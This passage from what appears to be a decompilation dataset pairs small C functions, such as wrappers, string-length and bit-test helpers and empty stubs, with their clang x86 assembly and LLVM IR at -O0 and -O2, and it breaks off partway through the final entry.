xunge/DecIR huggingface dataset:
/* Variables and functions */
int MQTTDisconnect();
int tpMQTTDisconnect() {
  int rc = MQTTDisconnect();
  return rc;
}


x86 assembly (clang, -O0):
<tpMQTTDisconnect>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    $0x0,%al
call   1030 <MQTTDisconnect@plt>
mov    %eax,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<tpMQTTDisconnect>:
xor    %eax,%eax
jmp    1030 <MQTTDisconnect@plt>

LLVM IR (-O0):
define i32 @tpMQTTDisconnect() {
%1 = alloca i32
%2 = call i32 (...) @MQTTDisconnect()
store i32 %2, i32* %1
%3 = load i32, i32* %1
ret i32 %3
}

LLVM IR (-O2):
define i32 @tpMQTTDisconnect() {
%1 = tail call i32 (...) @MQTTDisconnect()
ret i32 %1
}
void NETSCAPE_SPKAC_new(void) {}


x86 assembly (clang, -O0):
<NETSCAPE_SPKAC_new>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<NETSCAPE_SPKAC_new>:
ret

LLVM IR (-O0):
define void @NETSCAPE_SPKAC_new() {
ret void
}

LLVM IR (-O2):
define void @NETSCAPE_SPKAC_new() {
ret void
}
int main() {
  int x, y, z;
  x = 0;
  if (y > 5) {
    if (z > 5) {
      x++;
    }
    z++;
  }
  y++;
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
movl   $0x0,-0x4(%rbp)
movl   $0x0,-0x8(%rbp)
cmpl   $0x5,-0xc(%rbp)
jle    1138 <main+0x38>
cmpl   $0x5,-0x10(%rbp)
jle    112f <main+0x2f>
mov    -0x8(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x8(%rbp)
mov    -0x10(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x10(%rbp)
mov    -0xc(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0xc(%rbp)
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
xor    %eax,%eax
ret

LLVM IR (-O0):
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca i32
%4 = alloca i32
store i32 0, i32* %1
store i32 0, i32* %2
%5 = load i32, i32* %3
%6 = icmp sgt i32 %5, 5
br i1 %6, label %7, label %16
7: ; preds = %0
%8 = load i32, i32* %4
%9 = icmp sgt i32 %8, 5
br i1 %9, label %10, label %13
10: ; preds = %7
%11 = load i32, i32* %2
%12 = add nsw i32 %11, 1
store i32 %12, i32* %2
br label %13
13: ; preds = %10, %7
%14 = load i32, i32* %4
%15 = add nsw i32 %14, 1
store i32 %15, i32* %4
br label %16
16: ; preds = %13, %0
%17 = load i32, i32* %3
%18 = add nsw i32 %17, 1
store i32 %18, i32* %3
ret i32 0
}

LLVM IR (-O2):
define i32 @main() {
ret i32 0
}
void foo742(int p) {}


x86 assembly (clang, -O0):
<foo742>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
pop    %rbp
ret

x86 assembly (clang, -O2):
<foo742>:
ret

LLVM IR (-O0):
define void @foo742(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
ret void
}

LLVM IR (-O2):
define void @foo742(i32 %0) {
ret void
}
void foo791() {}


x86 assembly (clang, -O0):
<foo791>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<foo791>:
ret

LLVM IR (-O0):
define void @foo791() {
ret void
}

LLVM IR (-O2):
define void @foo791() {
ret void
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *, int);
void main() {
  printf("This collection of samples came together in %d\n", 2012);
  printf("Double it and add 30: 31 goes to %d\n", 2 * 31 + 30);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
lea    0xee5(%rip),%rdi
mov    $0x7dc,%esi
call   1030 <printf@plt>
lea    0xf04(%rip),%rdi
mov    $0x5c,%esi
call   1030 <printf@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0xee8(%rip),%rdi
mov    $0x7dc,%esi
call   1030 <printf@plt>
lea    0xf07(%rip),%rdi
mov    $0x5c,%esi
pop    %rax
jmp    1030 <printf@plt>

LLVM IR (-O0):
@.str = [48 x i8] c"This collection of samples came together in %d\0A\00"
@.str.1 = [37 x i8] c"Double it and add 30: 31 goes to %d\0A\00"
define void @main() {
%1 = call i32 @printf(i8* getelementptr inbounds ([48 x i8], [48 x i8]* @.str, i64 0, i64 0), i32 2012)
%2 = call i32 @printf(i8* getelementptr inbounds ([37 x i8], [37 x i8]* @.str.1, i64 0, i64 0), i32 92)
ret void
}

LLVM IR (-O2):
@.str = [48 x i8] c"This collection of samples came together in %d\0A\00"
@.str.1 = [37 x i8] c"Double it and add 30: 31 goes to %d\0A\00"
define void @main() {
%1 = tail call i32 @printf(i8* getelementptr inbounds ([48 x i8], [48 x i8]* @.str, i64 0, i64 0), i32 2012)
%2 = tail call i32 @printf(i8* getelementptr inbounds ([37 x i8], [37 x i8]* @.str.1, i64 0, i64 0), i32 92)
ret void
}
/* Variables and functions */
int /*<<< orphan*/ b();
int /*<<< orphan*/ c();
main() {
  c();
  b();
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
mov    $0x0,%al
call   1040 <c@plt>
mov    $0x0,%al
call   1030 <b@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
xor    %eax,%eax
call   1040 <c@plt>
xor    %eax,%eax
call   1030 <b@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
define i32 @main() {
%1 = alloca i32
store i32 0, i32* %1
%2 = call i32 (...) @c()
%3 = call i32 (...) @b()
ret i32 0
}

LLVM IR (-O2):
define i32 @main() {
%1 = tail call i32 (...) @c()
%2 = tail call i32 (...) @b()
ret i32 0
}
/* Variables and functions */
int /*<<< orphan*/ procfs_generic_close(int *);
void procfs_map_close(int *pmapfdp) { procfs_generic_close(pmapfdp); }


x86 assembly (clang, -O0):
<procfs_map_close>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
call   1030 <procfs_generic_close@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<procfs_map_close>:
jmp    1030 <procfs_generic_close@plt>

LLVM IR (-O0):
define void @procfs_map_close(i32* %0) {
%2 = alloca i32*
store i32* %0, i32** %2
%3 = load i32*, i32** %2
%4 = call i32 @procfs_generic_close(i32* %3)
ret void
}

LLVM IR (-O2):
define void @procfs_map_close(i32* %0) {
%2 = tail call i32 @procfs_generic_close(i32* %0)
ret void
}
/* Type definitions */
typedef int uint8_t;

/* Variables and functions */
int /*<<< orphan*/ wiringPiSPIDataRW(int, int *, int);
uint8_t readByte(uint8_t spiPort, uint8_t devId, uint8_t reg) {
  uint8_t spiData[4];
  spiData[0] = 0x41 | ((devId & 7) << 1);
  spiData[1] = reg;
  wiringPiSPIDataRW(spiPort, spiData, 3);
  return spiData[2];
}


x86 assembly (clang, -O0):
<readByte>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %edi,-0x4(%rbp)
mov    %esi,-0x8(%rbp)
mov    %edx,-0xc(%rbp)
mov    -0x8(%rbp),%eax
and    $0x7,%eax
shl    $0x1,%eax
or     $0x41,%eax
mov    %eax,-0x20(%rbp)
mov    -0xc(%rbp),%eax
mov    %eax,-0x1c(%rbp)
mov    -0x4(%rbp),%edi
lea    -0x20(%rbp),%rsi
mov    $0x3,%edx
call   1030 <wiringPiSPIDataRW@plt>
mov    -0x18(%rbp),%eax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<readByte>:
sub    $0x18,%rsp
and    $0x7,%esi
lea    (%rsi,%rsi,1),%eax
add    $0x41,%eax
mov    %eax,(%rsp)
mov    %edx,0x4(%rsp)
mov    %rsp,%rsi
mov    $0x3,%edx
call   1030 <wiringPiSPIDataRW@plt>
mov    0x8(%rsp),%eax
add    $0x18,%rsp
ret

LLVM IR (-O0):
define i32 @readByte(i32 %0, i32 %1, i32 %2) {
%4 = alloca i32
%5 = alloca i32
%6 = alloca i32
%7 = alloca [4 x i32]
store i32 %0, i32* %4
store i32 %1, i32* %5
store i32 %2, i32* %6
%8 = load i32, i32* %5
%9 = and i32 %8, 7
%10 = shl i32 %9, 1
%11 = or i32 65, %10
%12 = getelementptr inbounds [4 x i32], [4 x i32]* %7, i64 0, i64 0
store i32 %11, i32* %12
%13 = load i32, i32* %6
%14 = getelementptr inbounds [4 x i32], [4 x i32]* %7, i64 0, i64 1
store i32 %13, i32* %14
%15 = load i32, i32* %4
%16 = getelementptr inbounds [4 x i32], [4 x i32]* %7, i64 0, i64 0
%17 = call i32 @wiringPiSPIDataRW(i32 %15, i32* %16, i32 3)
%18 = getelementptr inbounds [4 x i32], [4 x i32]* %7, i64 0, i64 2
%19 = load i32, i32* %18
ret i32 %19
}

LLVM IR (-O2):
define i32 @readByte(i32 %0, i32 %1, i32 %2) {
%4 = alloca [4 x i32]
%5 = bitcast [4 x i32]* %4 to i8*
%6 = shl i32 %1, 1
%7 = and i32 %6, 14
%8 = or i32 %7, 65
%9 = getelementptr inbounds [4 x i32], [4 x i32]* %4, i64 0, i64 0
store i32 %8, i32* %9
%10 = getelementptr inbounds [4 x i32], [4 x i32]* %4, i64 0, i64 1
store i32 %2, i32* %10
%11 = call i32 @wiringPiSPIDataRW(i32 %0, i32* %9, i32 3)
%12 = getelementptr inbounds [4 x i32], [4 x i32]* %4, i64 0, i64 2
%13 = load i32, i32* %12
ret i32 %13
}
int c_strlen(char *str) {
  int i = 0;
  while (1) {
    if (str[i] == '\0')
      break;
    i++;
  }
  return i;
}


x86 assembly (clang, -O0):
<c_strlen>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
movl   $0x0,-0xc(%rbp)
mov    -0x8(%rbp),%rax
movslq -0xc(%rbp),%rcx
movsbl (%rax,%rcx,1),%eax
cmp    $0x0,%eax
jne    1129 <c_strlen+0x29>
jmp    1137 <c_strlen+0x37>
mov    -0xc(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0xc(%rbp)
jmp    110f <c_strlen+0xf>
mov    -0xc(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<c_strlen>:
mov    $0xffffffff,%eax
cs nopw 0x0(%rax,%rax,1)
nop
add    $0x1,%eax
cmpb   $0x0,(%rdi)
lea    0x1(%rdi),%rdi
jne    1110 <c_strlen+0x10>
ret

LLVM IR (-O0):
define i32 @c_strlen(i8* %0) {
%2 = alloca i8*
%3 = alloca i32
store i8* %0, i8** %2
store i32 0, i32* %3
br label %4
4: ; preds = %1, %13
%5 = load i8*, i8** %2
%6 = load i32, i32* %3
%7 = sext i32 %6 to i64
%8 = getelementptr inbounds i8, i8* %5, i64 %7
%9 = load i8, i8* %8
%10 = sext i8 %9 to i32
%11 = icmp eq i32 %10, 0
br i1 %11, label %12, label %13
12: ; preds = %4
br label %16
13: ; preds = %4
%14 = load i32, i32* %3
%15 = add nsw i32 %14, 1
store i32 %15, i32* %3
br label %4
16: ; preds = %12
%17 = load i32, i32* %3
ret i32 %17
}

LLVM IR (-O2):
define i32 @c_strlen(i8* nocapture %0) {
br label %2
2: ; preds = %2, %1
%3 = phi i64 [ %7, %2 ], [ 0, %1 ]
%4 = getelementptr inbounds i8, i8* %0, i64 %3
%5 = load i8, i8* %4
%6 = icmp eq i8 %5, 0
%7 = add nuw i64 %3, 1
br i1 %6, label %8, label %2
8: ; preds = %2
%9 = trunc i64 %3 to i32
ret i32 %9
}
/* Type definitions */
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
int /*<<< orphan*/ SEEK_CUR;
int /*<<< orphan*/ fseek(int /*<<< orphan*/ *, int, int /*<<< orphan*/);
int lmu_read_varint(int /*<<< orphan*/ *);
int lmu_skip_header(FILE *in) {
  int size;
  size = lmu_read_varint(in);
  fseek(in, size, SEEK_CUR);
}


x86 assembly (clang, -O0):
<lmu_skip_header>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x10(%rbp)
mov    -0x10(%rbp),%rdi
call   1040 <lmu_read_varint@plt>
mov    %eax,-0x14(%rbp)
mov    -0x10(%rbp),%rdi
mov    -0x14(%rbp),%esi
mov    0x2ea2(%rip),%rax
mov    (%rax),%edx
call   1030 <fseek@plt>
mov    -0x4(%rbp),%eax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<lmu_skip_header>:
push   %rbx
mov    %rdi,%rbx
call   1040 <lmu_read_varint@plt>
mov    0x2eb8(%rip),%rcx
mov    (%rcx),%edx
mov    %rbx,%rdi
mov    %eax,%esi
pop    %rbx
jmp    1030 <fseek@plt>

LLVM IR (-O0):
@SEEK_CUR = global i32 0
define i32 @lmu_skip_header(i32* %0) {
%2 = alloca i32
%3 = alloca i32*
%4 = alloca i32
store i32* %0, i32** %3
%5 = load i32*, i32** %3
%6 = call i32 @lmu_read_varint(i32* %5)
store i32 %6, i32* %4
%7 = load i32*, i32** %3
%8 = load i32, i32* %4
%9 = load i32, i32* @SEEK_CUR
%10 = call i32 @fseek(i32* %7, i32 %8, i32 %9)
%11 = load i32, i32* %2
ret i32 %11
}

LLVM IR (-O2):
@SEEK_CUR = global i32 0
define i32 @lmu_skip_header(i32* %0) {
%2 = tail call i32 @lmu_read_varint(i32* %0)
%3 = load i32, i32* @SEEK_CUR
%4 = tail call i32 @fseek(i32* %0, i32 %2, i32 %3)
ret i32 undef
}
void testTortureExecute(void) {}


x86 assembly (clang, -O0):
<testTortureExecute>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<testTortureExecute>:
ret

LLVM IR (-O0):
define void @testTortureExecute() {
ret void
}

LLVM IR (-O2):
define void @testTortureExecute() {
ret void
}
int test_imm_B6uint64_lowword_mem(unsigned long long *val) {
  return ((*val) & (0xB6 << 0)) ? -20 : -40;
}


x86 assembly (clang, -O0):
<test_imm_B6uint64_lowword_mem>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rax
mov    (%rax),%rdx
and    $0xb6,%rdx
mov    $0xffffffd8,%eax
mov    $0xffffffec,%ecx
cmp    $0x0,%rdx
cmovne %ecx,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<test_imm_B6uint64_lowword_mem>:
testb  $0xb6,(%rdi)
mov    $0xffffffd8,%ecx
mov    $0xffffffec,%eax
cmove  %ecx,%eax
ret

LLVM IR (-O0):
define i32 @test_imm_B6uint64_lowword_mem(i64* %0) {
%2 = alloca i64*
store i64* %0, i64** %2
%3 = load i64*, i64** %2
%4 = load i64, i64* %3
%5 = and i64 %4, 182
%6 = icmp ne i64 %5, 0
%7 = zext i1 %6 to i64
%8 = select i1 %6, i32 -20, i32 -40
ret i32 %8
}

LLVM IR (-O2):
define i32 @test_imm_B6uint64_lowword_mem(i64* nocapture %0) {
%2 = load i64, i64* %0
%3 = and i64 %2, 182
%4 = icmp eq i64 %3, 0
%5 = select i1 %4, i32 -40, i32 -20
ret i32 %5
}
int test_imm_E1int64_lowword_reg(long long val) {
  return ((val) & (0xE1 << 0)) ? -20 : -40;
}


x86 assembly (clang, -O0):
<test_imm_E1int64_lowword_reg>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdx
and    $0xe1,%rdx
mov    $0xffffffd8,%eax
mov    $0xffffffec,%ecx
cmp    $0x0,%rdx
cmovne %ecx,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<test_imm_E1int64_lowword_reg>:
test   $0xe1,%dil
mov    $0xffffffd8,%ecx
mov    $0xffffffec,%eax
cmove  %ecx,%eax
ret

LLVM IR (-O0):
define i32 @test_imm_E1int64_lowword_reg(i64 %0) {
%2 = alloca i64
store i64 %0, i64* %2
%3 = load i64, i64* %2
%4 = and i64 %3, 225
%5 = icmp ne i64 %4, 0
%6 = zext i1 %5 to i64
%7 = select i1 %5, i32 -20, i32 -40
ret i32 %7
}

LLVM IR (-O2):
define i32 @test_imm_E1int64_lowword_reg(i64 %0) {
%2 = and i64 %0, 225
%3 = icmp eq i64 %2, 0
%4 = select i1 %3, i32 -40, i32 -20
ret i32 %4
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *);
void before(void) { printf("before!\n"); }


x86 assembly (clang, -O0):
<before>:
push   %rbp
mov    %rsp,%rbp
lea    0xee5(%rip),%rdi
call   1030 <printf@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<before>:
lea    0xee9(%rip),%rdi
jmp    1030 <puts@plt>

LLVM IR (-O0):
@.str = [9 x i8] c"before!\0A\00"
define void @before() {
%1 = call i32 @printf(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str, i64 0, i64 0))
ret void
}

LLVM IR (-O2):
@str = [8 x i8] c"before!\00"
define void @before() {
%1 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([8 x i8], [8 x i8]* @str, i64 0, i64 0))
ret void
}
int ZopfliGetDistExtraBitsValue(int dist) {
  if (dist < 5) {
    return 0;
  } else {
    int l = 31 ^ __builtin_clz(dist - 1);
    return (dist - (1 + (1 << l))) & ((1 << (l - 1)) - 1);
  }
}


x86 assembly (clang, -O0):
<ZopfliGetDistExtraBitsValue>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x8(%rbp)
cmpl   $0x5,-0x8(%rbp)
jge    111d <ZopfliGetDistExtraBitsValue+0x1d>
movl   $0x0,-0x4(%rbp)
jmp    115a <ZopfliGetDistExtraBitsValue+0x5a>
mov    -0x8(%rbp),%eax
sub    $0x1,%eax
bsr    %eax,%eax
xor    $0x1f,%eax
xor    $0x1f,%eax
mov    %eax,-0xc(%rbp)
mov    -0x8(%rbp),%eax
mov    -0xc(%rbp),%ecx
mov    $0x1,%edx
shl    %cl,%edx
mov    %edx,%ecx
add    $0x1,%ecx
sub    %ecx,%eax
mov    -0xc(%rbp),%ecx
sub    $0x1,%ecx
mov    $0x1,%edx
shl    %cl,%edx
mov    %edx,%ecx
sub    $0x1,%ecx
and    %ecx,%eax
mov    %eax,-0x4(%rbp)
mov    -0x4(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<ZopfliGetDistExtraBitsValue>:
xor    %eax,%eax
cmp    $0x5,%edi
jl     112a <ZopfliGetDistExtraBitsValue+0x2a>
lea    -0x1(%rdi),%eax
bsr    %eax,%ecx
mov    $0xfffffffe,%edx
rol    %cl,%edx
mov    %ecx,%eax
xor    $0x1f,%eax
mov    $0x1e,%cl
sub    %al,%cl
mov    $0xffffffff,%eax
shl    %cl,%eax
add    %edi,%edx
not    %eax
and    %edx,%eax
ret

LLVM IR (-O0):
define i32 @ZopfliGetDistExtraBitsValue(i32 %0) {
%2 = alloca i32
%3 = alloca i32
%4 = alloca i32
store i32 %0, i32* %3
%5 = load i32, i32* %3
%6 = icmp slt i32 %5, 5
br i1 %6, label %7, label %8
7: ; preds = %1
store i32 0, i32* %2
br label %23
8: ; preds = %1
%9 = load i32, i32* %3
%10 = sub nsw i32 %9, 1
%11 = call i32 @llvm.ctlz.i32(i32 %10, i1 true)
%12 = xor i32 31, %11
store i32 %12, i32* %4
%13 = load i32, i32* %3
%14 = load i32, i32* %4
%15 = shl i32 1, %14
%16 = add nsw i32 1, %15
%17 = sub nsw i32 %13, %16
%18 = load i32, i32* %4
%19 = sub nsw i32 %18, 1
%20 = shl i32 1, %19
%21 = sub nsw i32 %20, 1
%22 = and i32 %17, %21
store i32 %22, i32* %2
br label %23
23: ; preds = %8, %7
%24 = load i32, i32* %2
ret i32 %24
}

LLVM IR (-O2):
define i32 @ZopfliGetDistExtraBitsValue(i32 %0) {
%2 = icmp slt i32 %0, 5
br i1 %2, label %14, label %3
3: ; preds = %1
%4 = add nsw i32 %0, -1
%5 = tail call i32 @llvm.ctlz.i32(i32 %4, i1 true)
%6 = xor i32 %5, 31
%7 = shl nuw i32 1, %6
%8 = xor i32 %7, -1
%9 = add i32 %8, %0
%10 = sub nsw i32 30, %5
%11 = shl nsw i32 -1, %10
%12 = xor i32 %11, -1
%13 = and i32 %9, %12
br label %14
14: ; preds = %1, %3
%15 = phi i32 [ %13, %3 ], [ 0, %1 ]
ret i32 %15
}
unsigned int myDoubleToUlong(double val) {
  unsigned int ul;
  if (val < ((double)2147483648.0))
    ul = (unsigned int)val;
  else
    ul = ((unsigned int)0x80000000) |
         (unsigned int)(val - ((double)2147483648.0));
  return ul;
}


x86 assembly (clang, -O0):
<myDoubleToUlong>:
push   %rbp
mov    %rsp,%rbp
movsd  %xmm0,-0x8(%rbp)
movsd  0xeef(%rip),%xmm0
ucomisd -0x8(%rbp),%xmm0
jbe    112a <myDoubleToUlong+0x2a>
cvttsd2si -0x8(%rbp),%rax
mov    %eax,-0xc(%rbp)
jmp    1148 <myDoubleToUlong+0x48>
movsd  -0x8(%rbp),%xmm0
movsd  0xed1(%rip),%xmm1
addsd  %xmm1,%xmm0
cvttsd2si %xmm0,%rax
or     $0x80000000,%eax
mov    %eax,-0xc(%rbp)
mov    -0xc(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<myDoubleToUlong>:
movsd  0xef8(%rip),%xmm1
addsd  %xmm0,%xmm1
cvttsd2si %xmm1,%rcx
or     $0x80000000,%ecx
movsd  0xee9(%rip),%xmm1
ucomisd %xmm0,%xmm1
cvttsd2si %xmm0,%rax
cmovbe %ecx,%eax
ret

LLVM IR (-O0):
define i32 @myDoubleToUlong(double %0) {
%2 = alloca double
%3 = alloca i32
store double %0, double* %2
%4 = load double, double* %2
%5 = fcmp olt double %4, 0x41E0000000000000
br i1 %5, label %6, label %9
6: ; preds = %1
%7 = load double, double* %2
%8 = fptoui double %7 to i32
store i32 %8, i32* %3
br label %14
9: ; preds = %1
%10 = load double, double* %2
%11 = fsub double %10, 0x41E0000000000000
%12 = fptoui double %11 to i32
%13 = or i32 -2147483648, %12
store i32 %13, i32* %3
br label %14
14: ; preds = %9, %6
%15 = load i32, i32* %3
ret i32 %15
}

LLVM IR (-O2):
define i32 @myDoubleToUlong(double %0) {
%2 = fcmp olt double %0, 0x41E0000000000000
%3 = fptoui double %0 to i32
%4 = fadd double %0, 0xC1E0000000000000
%5 = fptoui double %4 to i32
%6 = or i32 %5, -2147483648
%7 = select i1 %2, i32 %3, i32 %6
ret i32 %7
}
char *lou_version() {
  static char *version = "liblouis-3.1.0";
  return version;
}


x86 assembly (clang, -O0):
<lou_version>:
push   %rbp
mov    %rsp,%rbp
mov    0x2f15(%rip),%rax
pop    %rbp
ret

x86 assembly (clang, -O2):
<lou_version>:
lea    0xef9(%rip),%rax
ret

LLVM IR (-O0):
@lou_version.version = internal global i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str, i32 0, i32 0)
@.str = [15 x i8] c"liblouis-3.1.0\00"
define i8* @lou_version() {
%1 = load i8*, i8** @lou_version.version
ret i8* %1
}

LLVM IR (-O2):
@.str = [15 x i8] c"liblouis-3.1.0\00"
define i8* @lou_version() {
ret i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str, i64 0, i64 0)
}
int ft_add(int a, int b) { return (a + b); }


x86 assembly (clang, -O0):
<ft_add>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
mov    %esi,-0x8(%rbp)
mov    -0x4(%rbp),%eax
add    -0x8(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<ft_add>:
lea    (%rdi,%rsi,1),%eax
ret

LLVM IR (-O0):
define i32 @ft_add(i32 %0, i32 %1) {
%3 = alloca i32
%4 = alloca i32
store i32 %0, i32* %3
store i32 %1, i32* %4
%5 = load i32, i32* %3
%6 = load i32, i32* %4
%7 = add nsw i32 %5, %6
ret i32 %7
}

LLVM IR (-O2):
define i32 @ft_add(i32 %0, i32 %1) {
%3 = add nsw i32 %1, %0
ret i32 %3
}
int __attribute__((const, no)) bar(void) { return 0; }


x86 assembly (clang, -O0):
<bar>:
push   %rbp
mov    %rsp,%rbp
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<bar>:
xor    %eax,%eax
ret

LLVM IR (-O0):
define i32 @bar() {
ret i32 0
}

LLVM IR (-O2):
define i32 @bar() {
ret i32 0
}
void gtk_text_iter_forward_find_char() {}


x86 assembly (clang, -O0):
<gtk_text_iter_forward_find_char>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<gtk_text_iter_forward_find_char>:
ret

LLVM IR (-O0):
define void @gtk_text_iter_forward_find_char() {
ret void
}

LLVM IR (-O2):
define void @gtk_text_iter_forward_find_char() {
ret void
}
/* Variables and functions */
char *cv_esc_quote_str(char *);
char *cv_esc_quote_c(const long c) {
  static char buf[4096 + 1];
  buf[0] = (unsigned char)c;
  buf[1] = '\0';
  return (cv_esc_quote_str(buf));
}


x86 assembly (clang, -O0):
<cv_esc_quote_c>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rax
mov    %al,0x2f1a(%rip)
movb   $0x0,0x2f14(%rip)
lea    0x2f0c(%rip),%rdi
call   1030 <cv_esc_quote_str@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<cv_esc_quote_c>:
mov    %dil,0x2f29(%rip)
lea    0x2f22(%rip),%rdi
movb   $0x0,0x2f1c(%rip)
jmp    1030 <cv_esc_quote_str@plt>

LLVM IR (-O0):
@cv_esc_quote_c.buf = internal global [4097 x i8] zeroinitializer
define i8* @cv_esc_quote_c(i64 %0) {
%2 = alloca i64
store i64 %0, i64* %2
%3 = load i64, i64* %2
%4 = trunc i64 %3 to i8
store i8 %4, i8* getelementptr inbounds ([4097 x i8], [4097 x i8]* @cv_esc_quote_c.buf, i64 0, i64 0)
store i8 0, i8* getelementptr inbounds ([4097 x i8], [4097 x i8]* @cv_esc_quote_c.buf, i64 0, i64 1)
%5 = call i8* @cv_esc_quote_str(i8* getelementptr inbounds ([4097 x i8], [4097 x i8]* @cv_esc_quote_c.buf, i64 0, i64 0))
ret i8* %5
}

LLVM IR (-O2):
@cv_esc_quote_c.buf = internal global [4097 x i8] zeroinitializer
define i8* @cv_esc_quote_c(i64 %0) {
%2 = trunc i64 %0 to i8
store i8 %2, i8* getelementptr inbounds ([4097 x i8], [4097 x i8]* @cv_esc_quote_c.buf, i64 0, i64 0)
store i8 0, i8* getelementptr inbounds ([4097 x i8], [4097 x i8]* @cv_esc_quote_c.buf, i64 0, i64 1)
%3 = tail call i8* @cv_esc_quote_str(i8* getelementptr inbounds ([4097 x i8], [4097 x i8]* @cv_esc_quote_c.buf, i64 0, i64 0))
ret i8* %3
}
/* Type definitions */
typedef int uint32_t;
typedef int uint16_t;
struct can_frame {
  scalar_t__ *data;
};

/* Variables and functions */
uint16_t data16(struct can_frame frame) {
  return (uint32_t)frame.data[5] << 8 | (uint32_t)frame.data[4] << 0;
}


x86 assembly (clang, -O0):
<data16>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rax
mov    0x28(%rax),%rax
shl    $0x8,%eax
mov    -0x8(%rbp),%rcx
mov    0x20(%rcx),%rcx
shl    $0x0,%ecx
or     %ecx,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<data16>:
mov    0x28(%rdi),%eax
shl    $0x8,%eax
or     0x20(%rdi),%eax
ret

LLVM IR (-O0):
%struct.can_frame = type { i64* }
define i32 @data16(i64* %0) {
%2 = alloca %struct.can_frame
%3 = getelementptr inbounds %struct.can_frame, %struct.can_frame* %2, i32 0, i32 0
store i64* %0, i64** %3
%4 = getelementptr inbounds %struct.can_frame, %struct.can_frame* %2, i32 0, i32 0
%5 = load i64*, i64** %4
%6 = getelementptr inbounds i64, i64* %5, i64 5
%7 = load i64, i64* %6
%8 = trunc i64 %7 to i32
%9 = shl i32 %8, 8
%10 = getelementptr inbounds %struct.can_frame, %struct.can_frame* %2, i32 0, i32 0
%11 = load i64*, i64** %10
%12 = getelementptr inbounds i64, i64* %11, i64 4
%13 = load i64, i64* %12
%14 = trunc i64 %13 to i32
%15 = shl i32 %14, 0
%16 = or i32 %9, %15
ret i32 %16
}

LLVM IR (-O2):
define i32 @data16(i64* nocapture %0) {
%2 = getelementptr inbounds i64, i64* %0, i64 5
%3 = load i64, i64* %2
%4 = trunc i64 %3 to i32
%5 = shl i32 %4, 8
%6 = getelementptr inbounds i64, i64* %0, i64 4
%7 = load i64, i64* %6
%8 = trunc i64 %7 to i32
%9 = or i32 %5, %8
ret i32 %9
}
/* Variables and functions */
int /*<<< orphan*/ autoseed_aes();
void init_distributions() { autoseed_aes(); }


x86 assembly (clang, -O0):
<init_distributions>:
push   %rbp
mov    %rsp,%rbp
mov    $0x0,%al
call   1030 <autoseed_aes@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<init_distributions>:
xor    %eax,%eax
jmp    1030 <autoseed_aes@plt>

LLVM IR (-O0):
define void @init_distributions() {
%1 = call i32 (...) @autoseed_aes()
ret void
}

LLVM IR (-O2):
define void @init_distributions() {
%1 = tail call i32 (...) @autoseed_aes()
ret void
}
void so_init() {}


x86 assembly (clang, -O0):
<so_init>:
push   %rbp
